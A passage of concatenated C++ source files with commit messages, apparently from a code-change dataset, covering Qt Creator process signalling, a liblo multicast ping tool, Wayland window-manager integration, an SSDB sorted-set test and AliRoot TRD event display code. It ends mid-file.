** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #include "desktopprocesssignaloperation.h" #include "localprocesslist.h" #include <utils/winutils.h> #include <QCoreApplication> #include <QDir> #ifdef Q_OS_WIN #define _WIN32_WINNT 0x0502 #include <windows.h> #ifndef PROCESS_SUSPEND_RESUME #define PROCESS_SUSPEND_RESUME 0x0800 #endif // PROCESS_SUSPEND_RESUME #else // Q_OS_WIN #include <errno.h> #include <signal.h> #endif // else Q_OS_WIN namespace ProjectExplorer { void DesktopProcessSignalOperation::killProcess(int pid) { killProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::killProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) killProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(int pid) { m_errorMessage.clear(); interruptProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) interruptProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot kill process with pid %1: %2").arg(pid).arg(why); m_errorMessage += QLatin1Char(' '); } void DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot interrupt process with pid %1: %2").arg(pid).arg(why); m_errorMessage += QLatin1Char(' '); } void DesktopProcessSignalOperation::killProcessSilently(int pid) { #ifdef Q_OS_WIN const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) { if (!TerminateProcess(handle, UINT(-1))) appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError())); CloseHandle(handle); } else { appendMsgCannotKill(pid, tr("Cannot open process.")); } #else if (pid <= 0) appendMsgCannotKill(pid, tr("Invalid process id.")); else if (kill(pid, SIGKILL)) appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } void DesktopProcessSignalOperation::interruptProcessSilently(int pid) { #ifdef Q_OS_WIN /* Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a 32 bit application inside a 64 bit environment. When GDB is used DebugBreakProcess must be called from the same system (32/64 bit) running the inferior. If CDB is used we could in theory break wow64 processes, but the break is actually a wow64 breakpoint. CDB is configured to ignore these breakpoints, because they also appear on module loading. Therefore we need helper executables (win(32/64)interrupt.exe) on Windows 64 bit calling DebugBreakProcess from the correct system. DebugBreak matrix for windows Api = UseDebugBreakApi Win64 = UseWin64InterruptHelper Win32 = UseWin32InterruptHelper N/A = This configuration is not possible | Windows 32bit | Windows 64bit | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit ----------|-----------------|-----------------|-----------------|-----------------|---------------- CDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | Win64 | Win64 | Api | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- GDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | N/A | Win64 | N/A | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- */ HANDLE inferior = NULL; do { const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; inferior = OpenProcess(rights, FALSE, pid); if (inferior == NULL) { appendMsgCannotInterrupt(pid, tr("Cannot open process: %1") + Utils::winErrorMessage(GetLastError())); break; } bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath()); if (!Utils::winIs64BitSystem() || m_specialInterrupt == NoSpecialInterrupt || m_specialInterrupt == Win64Interrupt && creatorIs64Bit || m_specialInterrupt == Win32Interrupt && !creatorIs64Bit) { if (!DebugBreakProcess(inferior)) { appendMsgCannotInterrupt(pid, tr("DebugBreakProcess failed:") + QLatin1Char(' ') + Utils::winErrorMessage(GetLastError())); } } else if (m_specialInterrupt == Win32Interrupt || m_specialInterrupt == Win64Interrupt) { QString executable = QCoreApplication::applicationDirPath(); executable += m_specialInterrupt == Win32Interrupt ? QLatin1String("/win32interrupt.exe") : QLatin1String("/win64interrupt.exe"); if (!QFile::exists(executable)) { appendMsgCannotInterrupt(pid, tr( "%1 does not exist. If you built Qt Creator " "yourself, check out http://qt.gitorious.org/" "qt-creator/binary-artifacts."). arg(QDir::toNativeSeparators(executable))); } switch (QProcess::execute(executable, QStringList(QString::number(pid)))) { case -2: appendMsgCannotInterrupt(pid, tr( "Cannot start %1. Check src\\tools\\win64interrupt\\win64interrupt.c " "for more information.").arg(QDir::toNativeSeparators(executable))); break; case 0: break; default: appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable) + QLatin1Char(' ') + tr("could not break the process.")); break; } } } while (false); if (inferior != NULL) CloseHandle(inferior); #else if (pid <= 0) appendMsgCannotInterrupt(pid, tr("Invalid process id.")); else if (kill(pid, SIGINT)) appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } } // namespace ProjectExplorer <|endoftext|>
<commit_before>/* * Copyright (C) 2004 Steve Harris, Uwe Koloska * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * $Id$ */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <iostream> #include <vector> #include <cstring> #include <algorithm> #include "lo/lo.h" using namespace std; int done = 0; struct member { int pid; string hostname; lo_timetag timetag; }; vector<member> members; int memberCompare(member a, member b); void error(int num, const char *m, const char *path); int ping_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data); int quit_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data); int main() { /* make address for multicast ip * pick a port number for you by passing NULL as the last argument */ lo_address t = lo_address_new("224.0.0.1", "7770"); // lo_server multi = lo_server_new_multicast("drone", "7771", error); /* start a new server on port 7770 */ lo_server_thread st = lo_server_thread_new_multicast("224.0.0.1", "7770", error); /* add method that will match the path /foo/bar, with two numbers, coerced * to float and int */ lo_server_thread_add_method(st, "/ping", "is", ping_handler, NULL); /* add method that will match the path /quit with no args */ lo_server_thread_add_method(st, "/quit", "", quit_handler, NULL); lo_server_thread_start(st); while (!done) { #ifdef WIN32 Sleep(1); #else usleep(1500000); #endif char hostname[128] = ""; gethostname(hostname, sizeof(hostname)); int pid = getpid(); // cerr << "pid: " << pid << " || hostname : " << hostname << endl; lo_send(t, "/ping", "is", pid, hostname); } lo_server_thread_free(st); return 0; } int memberCompare(member a, member b) { int name = strcmp(a.hostname.c_str(), b.hostname.c_str()); if(name != 0) { if (name == -1) { return 0 } return 1 } bool test = a.pid < b.pid; return a.pid < b.pid; }; void error(int num, const char *msg, const char *path) { printf("liblo server error %d in path %s: %s\n", num, path, msg); fflush(stdout); } /* catch any incoming messages and display them. returning 1 means that the * message has not been fully handled and the server should try other methods */ int ping_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data) { member messageSender; messageSender.pid = argv[0]->i; char *address = (char *)argv[1]; messageSender.hostname = address; lo_timetag_now(&messageSender.timetag); if(!std::binary_search(members.begin(), members.end(), messageSender, memberCompare)) { members.push_back(messageSender); cerr << "NEW NODE ~ PID: " << messageSender.pid << " || path : " << messageSender.hostname << " || timestamp : " << messageSender.timetag.sec << endl; } fflush(stdout); return 0; } int quit_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data) { done = 1; printf("quiting\n\n"); fflush(stdout); return 0; } /* vi:set ts=8 sts=4 sw=4: */ <commit_msg>Forgot ;<commit_after>/* * Copyright (C) 2004 Steve Harris, Uwe Koloska * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * $Id$ */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <iostream> #include <vector> #include <cstring> #include <algorithm> #include "lo/lo.h" using namespace std; int done = 0; struct member { int pid; string hostname; lo_timetag timetag; }; vector<member> members; int memberCompare(member a, member b); void error(int num, const char *m, const char *path); int ping_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data); int quit_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data); int main() { /* make address for multicast ip * pick a port number for you by passing NULL as the last argument */ lo_address t = lo_address_new("224.0.0.1", "7770"); // lo_server multi = lo_server_new_multicast("drone", "7771", error); /* start a new server on port 7770 */ lo_server_thread st = lo_server_thread_new_multicast("224.0.0.1", "7770", error); /* add method that will match the path /foo/bar, with two numbers, coerced * to float and int */ lo_server_thread_add_method(st, "/ping", "is", ping_handler, NULL); /* add method that will match the path /quit with no args */ lo_server_thread_add_method(st, "/quit", "", quit_handler, NULL); lo_server_thread_start(st); while (!done) { #ifdef WIN32 Sleep(1); #else usleep(1500000); #endif char hostname[128] = ""; gethostname(hostname, sizeof(hostname)); int pid = getpid(); // cerr << "pid: " << pid << " || hostname : " << hostname << endl; lo_send(t, "/ping", "is", pid, hostname); } lo_server_thread_free(st); return 0; } int memberCompare(member a, member b) { int name = strcmp(a.hostname.c_str(), b.hostname.c_str()); if(name != 0) { if (name == -1) { return 0; } return 1; } bool test = a.pid < b.pid; return a.pid < b.pid; }; void error(int num, const char *msg, const char *path) { printf("liblo server error %d in path %s: %s\n", num, path, msg); fflush(stdout); } /* catch any incoming messages and display them. returning 1 means that the * message has not been fully handled and the server should try other methods */ int ping_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data) { member messageSender; messageSender.pid = argv[0]->i; char *address = (char *)argv[1]; messageSender.hostname = address; lo_timetag_now(&messageSender.timetag); if(!std::binary_search(members.begin(), members.end(), messageSender, memberCompare)) { members.push_back(messageSender); cerr << "NEW NODE ~ PID: " << messageSender.pid << " || path : " << messageSender.hostname << " || timestamp : " << messageSender.timetag.sec << endl; } fflush(stdout); return 0; } int quit_handler(const char *path, const char *types, lo_arg ** argv, int argc, void *data, void *user_data) { done = 1; printf("quiting\n\n"); fflush(stdout); return 0; } /* vi:set ts=8 sts=4 sw=4: */ <|endoftext|>
<commit_before>/**************************************************************************** ** ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation ([email protected]) ** ** This file is part of the Qt Compositor. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage ** This file contains pre-release code and may not be distributed. ** You may use this file in accordance with the terms and conditions ** contained in the Technology Preview License Agreement accompanying ** this package. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** If you have questions regarding the use of this file, please contact ** Nokia at [email protected]. ** ** ** ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include "waylandwindowmanagerintegration.h" #include "waylandobject.h" #include "wayland_wrapper/wldisplay.h" #include "wayland_wrapper/wlcompositor.h" #include "wayland-server.h" #include "wayland-windowmanager-server-protocol.h" #include <QtCore/QDebug> // the protocol files are generated with wayland-scanner, in the following manner: // wayland-scanner client-header < windowmanager.xml > wayland-windowmanager-client-protocol.h // wayland-scanner server-header < windowmanager.xml > wayland-windowmanager-server-protocol.h // wayland-scanner code < windowmanager.xml > wayland-windowmanager-protocol.c // // wayland-scanner can be found from wayland sources. class WindowManagerObject : public Wayland::Object<struct wl_object> { public: void mapClientToProcess(wl_client *client, uint32_t processId) { WindowManagerServerIntegration::instance()->mapClientToProcess(client, processId); } void authenticateWithToken(wl_client *client, const char *authenticationToken) { WindowManagerServerIntegration::instance()->authenticateWithToken(client, authenticationToken); } void changeScreenVisibility(wl_client *client, int visible) { WindowManagerServerIntegration::instance()->changeScreenVisibility(client, visible); } }; void map_client_to_process(wl_client *client, struct wl_windowmanager *windowMgr, uint32_t processId) { reinterpret_cast<WindowManagerObject *>(windowMgr)->mapClientToProcess(client, processId); } void authenticate_with_token(wl_client *client, struct wl_windowmanager *windowMgr, const char *wl_authentication_token) { reinterpret_cast<WindowManagerObject *>(windowMgr)->authenticateWithToken(client, wl_authentication_token); } const static struct wl_windowmanager_interface windowmanager_interface = { map_client_to_process, authenticate_with_token }; WindowManagerServerIntegration *WindowManagerServerIntegration::m_instance = 0; WindowManagerServerIntegration::WindowManagerServerIntegration(QObject *parent) : QObject(parent) , m_orientationInDegrees(0) { m_instance = this; } void WindowManagerServerIntegration::initialize(Wayland::Display *waylandDisplay) { m_windowManagerObject = new WindowManagerObject(); waylandDisplay->addGlobalObject(m_windowManagerObject->base(), &wl_windowmanager_interface, &windowmanager_interface, 0); } void WindowManagerServerIntegration::removeClient(wl_client *client) { WaylandManagedClient *managedClient = m_managedClients.take(client); delete managedClient; } void WindowManagerServerIntegration::mapClientToProcess(wl_client *client, uint32_t processId) { WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient); managedClient->m_processId = processId; m_managedClients.insert(client, managedClient); } void WindowManagerServerIntegration::authenticateWithToken(wl_client *client, const char *token) { WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient); managedClient->m_authenticationToken = QByteArray(token); m_managedClients.insert(client, managedClient); } void WindowManagerServerIntegration::changeScreenVisibility(wl_client *client, int visible) { m_managedClients[client]->m_isVisibleOnScreen = visible != 0; qDebug() << Q_FUNC_INFO << visible; wl_client_post_event(client, m_windowManagerObject->base(), WL_WINDOWMANAGER_CLIENT_ONSCREEN_VISIBILITY, visible); } void WindowManagerServerIntegration::updateOrientation(wl_client *client) { setScreenOrientation(client, m_orientationInDegrees); } void WindowManagerServerIntegration::setScreenOrientation(wl_client *client, qint32 orientationInDegrees) { m_orientationInDegrees = orientationInDegrees; wl_client_post_event(client, m_windowManagerObject->base(), WL_WINDOWMANAGER_SET_SCREEN_ROTATION, orientationInDegrees); } WaylandManagedClient *WindowManagerServerIntegration::managedClient(wl_client *client) const { return m_managedClients.value(client, 0); } WindowManagerServerIntegration *WindowManagerServerIntegration::instance() { return m_instance; } /// /// /// / WaylandManagedClient /// /// WaylandManagedClient::WaylandManagedClient() : m_processId(0) { } qint64 WaylandManagedClient::processId() const { return m_processId; } QByteArray WaylandManagedClient::authenticationToken() const { return m_authenticationToken; } <commit_msg>Remove debug output<commit_after>/**************************************************************************** ** ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation ([email protected]) ** ** This file is part of the Qt Compositor. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage ** This file contains pre-release code and may not be distributed. ** You may use this file in accordance with the terms and conditions ** contained in the Technology Preview License Agreement accompanying ** this package. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** If you have questions regarding the use of this file, please contact ** Nokia at [email protected]. ** ** ** ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include "waylandwindowmanagerintegration.h" #include "waylandobject.h" #include "wayland_wrapper/wldisplay.h" #include "wayland_wrapper/wlcompositor.h" #include "wayland-server.h" #include "wayland-windowmanager-server-protocol.h" // the protocol files are generated with wayland-scanner, in the following manner: // wayland-scanner client-header < windowmanager.xml > wayland-windowmanager-client-protocol.h // wayland-scanner server-header < windowmanager.xml > wayland-windowmanager-server-protocol.h // wayland-scanner code < windowmanager.xml > wayland-windowmanager-protocol.c // // wayland-scanner can be found from wayland sources. class WindowManagerObject : public Wayland::Object<struct wl_object> { public: void mapClientToProcess(wl_client *client, uint32_t processId) { WindowManagerServerIntegration::instance()->mapClientToProcess(client, processId); } void authenticateWithToken(wl_client *client, const char *authenticationToken) { WindowManagerServerIntegration::instance()->authenticateWithToken(client, authenticationToken); } void changeScreenVisibility(wl_client *client, int visible) { WindowManagerServerIntegration::instance()->changeScreenVisibility(client, visible); } }; void map_client_to_process(wl_client *client, struct wl_windowmanager *windowMgr, uint32_t processId) { reinterpret_cast<WindowManagerObject *>(windowMgr)->mapClientToProcess(client, processId); } void authenticate_with_token(wl_client *client, struct wl_windowmanager *windowMgr, const char *wl_authentication_token) { reinterpret_cast<WindowManagerObject *>(windowMgr)->authenticateWithToken(client, wl_authentication_token); } const static struct wl_windowmanager_interface windowmanager_interface = { map_client_to_process, authenticate_with_token }; WindowManagerServerIntegration *WindowManagerServerIntegration::m_instance = 0; WindowManagerServerIntegration::WindowManagerServerIntegration(QObject *parent) : QObject(parent) , m_orientationInDegrees(0) { m_instance = this; } void WindowManagerServerIntegration::initialize(Wayland::Display *waylandDisplay) { m_windowManagerObject = new WindowManagerObject(); waylandDisplay->addGlobalObject(m_windowManagerObject->base(), &wl_windowmanager_interface, &windowmanager_interface, 0); } void WindowManagerServerIntegration::removeClient(wl_client *client) { WaylandManagedClient *managedClient = m_managedClients.take(client); delete managedClient; } void WindowManagerServerIntegration::mapClientToProcess(wl_client *client, uint32_t processId) { WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient); managedClient->m_processId = processId; m_managedClients.insert(client, managedClient); } void WindowManagerServerIntegration::authenticateWithToken(wl_client *client, const char *token) { WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient); managedClient->m_authenticationToken = QByteArray(token); m_managedClients.insert(client, managedClient); } void WindowManagerServerIntegration::changeScreenVisibility(wl_client *client, int visible) { m_managedClients[client]->m_isVisibleOnScreen = visible != 0; wl_client_post_event(client, m_windowManagerObject->base(), WL_WINDOWMANAGER_CLIENT_ONSCREEN_VISIBILITY, visible); } void WindowManagerServerIntegration::updateOrientation(wl_client *client) { setScreenOrientation(client, m_orientationInDegrees); } void WindowManagerServerIntegration::setScreenOrientation(wl_client *client, qint32 orientationInDegrees) { m_orientationInDegrees = orientationInDegrees; wl_client_post_event(client, m_windowManagerObject->base(), WL_WINDOWMANAGER_SET_SCREEN_ROTATION, orientationInDegrees); } WaylandManagedClient *WindowManagerServerIntegration::managedClient(wl_client *client) const { return m_managedClients.value(client, 0); } WindowManagerServerIntegration *WindowManagerServerIntegration::instance() { return m_instance; } /// /// /// / WaylandManagedClient /// /// WaylandManagedClient::WaylandManagedClient() : m_processId(0) { } qint64 WaylandManagedClient::processId() const { return m_processId; } QByteArray WaylandManagedClient::authenticationToken() const { return m_authenticationToken; } <|endoftext|>
<commit_before>/* Copyright (c) 2012-2014 The SSDB Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. */ #include <stdio.h> #include <stdlib.h> #include <time.h> #include <vector> #include "log.h" #include "sorted_set.h" int main(int argc, char **argv){ SortedSet zset; std::vector<std::string> keys; for(int i='a'; i<='z'; i++){ char buf[10]; snprintf(buf, sizeof(buf), "%c", i); keys.push_back(buf); } log_debug(""); srand(time(NULL)); for(int i=0; i<1000 * 1000; i++){ std::string &key = keys[rand() % keys.size()]; zset.add(key, rand()%30 - 15); } log_debug(""); const std::string *key; int64_t score; int n = 0; while(zset.front(&key, &score)){ printf("%s : %4lld\n", key->c_str(), score); zset.pop_front(); n ++; } log_debug("%d", n); return 0; } <commit_msg>resolve compile error<commit_after>/* Copyright (c) 2012-2014 The SSDB Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. */ #include <stdio.h> #include <stdlib.h> #include <time.h> #include <vector> #include "log.h" #include "sorted_set.h" int main(int argc, char **argv){ SortedSet zset; std::vector<std::string> keys; for(int i='a'; i<='z'; i++){ char buf[10]; snprintf(buf, sizeof(buf), "%c", i); keys.push_back(buf); } log_debug(""); srand(time(NULL)); for(int i=0; i<1000 * 1000; i++){ std::string &key = keys[rand() % keys.size()]; zset.add(key, rand()%30 - 15); } log_debug(""); std::string *key; int64_t score; int n = 0; while(zset.front(key, &score)){ printf("%s : %4lld\n", key->c_str(), score); zset.pop_front(); n ++; } log_debug("%d", n); return 0; } <|endoftext|>
<commit_before>#include "TRDData.h" #include "TRDModuleImp.h" #include "AliLog.h" #include "AliTRDhit.h" #include "AliTRDcluster.h" #include "AliTRDcalibDB.h" #include "AliTRDpadPlane.h" #include "AliTRDgeometry.h" #include "AliTRDdigitsManager.h" using namespace Reve; using namespace Alieve; using namespace std; ClassImp(TRDHits) ClassImp(TRDDigits) ClassImp(TRDClusters) /////////////////////////////////////////////////////////// ///////////// TRDDigits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDDigits::TRDDigits(TRDChamber *p): OldQuadSet("digits", ""), RenderElement(), fParent(p) {} //________________________________________________________ void TRDDigits::SetData(AliTRDdigitsManager *digits) { fData.Allocate(fParent->rowMax, fParent->colMax, fParent->timeMax); // digits->Expand(); for (Int_t row = 0; row < fParent->rowMax; row++) for (Int_t col = 0; col < fParent->colMax; col++) for (Int_t time = 0; time < fParent->timeMax; time++) { if(digits->GetDigitAmp(row, col, time, fParent->GetID()) < 0) continue; fData.SetDataUnchecked(row, col, time, digits->GetDigitAmp(row, col, time, fParent->GetID())); } } //________________________________________________________ void TRDDigits::ComputeRepresentation() { // Calculate digits representation according to user settings. The // user can set the following parameters: // - digits scale (log/lin) // - digits threshold // - digits apparence (quads/boxes) fQuads.clear(); fBoxes.fBoxes.clear(); Double_t colSize, rowSize, scale; Double_t x, y, z; Int_t charge; Float_t t0; Float_t timeBinSize; AliTRDcalibDB* calibration = AliTRDcalibDB::Instance(); Double_t cloc[4][3], cglo[3]; Int_t color, dimension; fData.Expand(); for (Int_t row = 0; row < fParent->rowMax; row++) { rowSize = .5 * fParent->fPadPlane->GetRowSize(row); z = fParent->fPadPlane->GetRowPos(row) - rowSize; for (Int_t col = 0; col < fParent->colMax; col++) { colSize = .5 * fParent->fPadPlane->GetColSize(col); y = fParent->fPadPlane->GetColPos(col) - colSize; t0 = calibration->GetT0(fParent->fDet, col, row); timeBinSize = calibration->GetVdrift(fParent->fDet, col, row)/fParent->samplingFrequency; for (Int_t time = 0; time < fParent->timeMax; time++) { charge = fData.GetDataUnchecked(row, col, time); if (charge < fParent->GetDigitsThreshold()) continue; x = fParent->fX0 - (time+0.5-t0)*timeBinSize; scale = fParent->GetDigitsLog() ? TMath::Log(float(charge))/TMath::Log(1024.) : charge/1024.; color = 50+int(scale*50.); cloc[0][2] = z - rowSize * scale; cloc[0][1] = y - colSize * scale; cloc[0][0] = x; cloc[1][2] = z - rowSize * scale; cloc[1][1] = y + colSize * scale; cloc[1][0] = x; cloc[2][2] = z + rowSize * scale; cloc[2][1] = y + colSize * scale; cloc[2][0] = x; cloc[3][2] = z + rowSize * scale; cloc[3][1] = y - colSize * scale; cloc[3][0] = x; Float_t* p; if( fParent->GetDigitsBox()){ fBoxes.fBoxes.push_back(Reve::Box()); fBoxes.fBoxes.back().color[0] = (UChar_t)color; fBoxes.fBoxes.back().color[1] = (UChar_t)color; fBoxes.fBoxes.back().color[2] = (UChar_t)color; fBoxes.fBoxes.back().color[3] = (UChar_t)color; p = fBoxes.fBoxes.back().vertices; dimension = 2; } else { fQuads.push_back(Reve::Quad()); fQuads.back().ColorFromIdx(color); p = fQuads.back().vertices; dimension = 1; } for(int id=0; id<dimension; id++) for (Int_t ic = 0; ic < 4; ic++) { cloc[ic][0] -= .5 * id * timeBinSize; fParent->fGeo->RotateBack(fParent->fDet,cloc[ic],cglo); p[0] = cglo[0]; p[1] = cglo[1]; p[2] = cglo[2]; p+=3; } } // end time loop } // end col loop } // end row loop fData.Compress(1); } //________________________________________________________ void TRDDigits::Paint(Option_t *option) { if(fParent->GetDigitsBox()) fBoxes.Paint(option); else OldQuadSet::Paint(option); } //________________________________________________________ void TRDDigits::Reset() { fQuads.clear(); fBoxes.fBoxes.clear(); fData.Reset(); } /////////////////////////////////////////////////////////// ///////////// TRDHits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDHits::TRDHits(TRDChamber *p):PointSet("hits", 20), fParent(p) {} //________________________________________________________ void TRDHits::PointSelected(Int_t n) { fParent->SpawnEditor(); AliTRDhit *h = dynamic_cast<AliTRDhit*>(GetPointId(n)); printf("\nDetector : %d\n", h->GetDetector()); printf("Region of production : %c\n", h->FromAmplification() ? 'A' : 'D'); printf("TR photon : %s\n", h->FromTRphoton() ? "Yes" : "No"); printf("Charge : %d\n", h->GetCharge()); printf("MC track label : %d\n", h->GetTrack()); printf("Time from collision : %f\n", h->GetTime()); } /////////////////////////////////////////////////////////// ///////////// TRDHits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDClusters::TRDClusters(TRDChamber *p):TRDHits(p) {} //________________________________________________________ void TRDClusters::PointSelected(Int_t n) { fParent->SpawnEditor(); AliTRDcluster *c = dynamic_cast<AliTRDcluster*>(GetPointId(n)); printf("\nDetector : %d\n", c->GetDetector()); printf("Charge : %f\n", c->GetQ()); printf("Sum S : %4.0f\n", c->GetSumS()); printf("Time bin : %d\n", c->GetLocalTimeBin()); printf("Signals : "); Short_t *cSignals = c->GetSignals(); for(Int_t ipad=0; ipad<7; ipad++) printf("%d ", cSignals[ipad]); printf("\n"); printf("Central pad : %d\n", c->GetPad()); printf("MC track labels : "); for(Int_t itrk=0; itrk<3; itrk++) printf("%d ", c->GetLabel(itrk)); printf("\n"); // Bool_t AliCluster::GetGlobalCov(Float_t* cov) const // Bool_t AliCluster::GetGlobalXYZ(Float_t* xyz) const // Float_t AliCluster::GetSigmaY2() const // Float_t AliCluster::GetSigmaYZ() const // Float_t AliCluster::GetSigmaZ2() const } /////////////////////////////////////////////////////////// ///////////// TRDHitsEditor ///////////////////// /////////////////////////////////////////////////////////// TRDHitsEditor::TRDHitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back) { MakeTitle("TRD Hits"); } TRDHitsEditor::~TRDHitsEditor() {} void TRDHitsEditor::SetModel(TObject* obj) { fM = dynamic_cast<TRDHits*>(obj); // Float_t x, y, z; // for(int ihit=0; ihit<fM->GetN(); ihit++){ // fM->GetPoint(ihit, x, y, z); // printf("%3d : x=%6.3f y=%6.3f z=%6.3f\n", ihit, x, y, z); // } } /////////////////////////////////////////////////////////// ///////////// TRDDigitsEditor ///////////////////// /////////////////////////////////////////////////////////// TRDDigitsEditor::TRDDigitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back) { MakeTitle("TRD Digits"); } TRDDigitsEditor::~TRDDigitsEditor() {} void TRDDigitsEditor::SetModel(TObject* obj) { fM = dynamic_cast<TRDDigits*>(obj); fM->fParent->SpawnEditor(); // printf("Chamber %d", fM->fParent->GetID()); // for (Int_t row = 0; row < fM->fParent->GetRowMax(); row++) // for (Int_t col = 0; col < fM->fParent->GetColMax(); col++) // for (Int_t time = 0; time < fM->fParent->GetTimeMax(); time++) { // printf("\tA(%d %d %d) = %d\n", row, col, time, fM->fData.GetDataUnchecked(row, col, time)); // } } <commit_msg>Small change required by the updated AliTRDcluster (Christoph)<commit_after>#include "TRDData.h" #include "TRDModuleImp.h" #include "AliLog.h" #include "AliTRDhit.h" #include "AliTRDcluster.h" #include "AliTRDcalibDB.h" #include "AliTRDpadPlane.h" #include "AliTRDgeometry.h" #include "AliTRDdigitsManager.h" using namespace 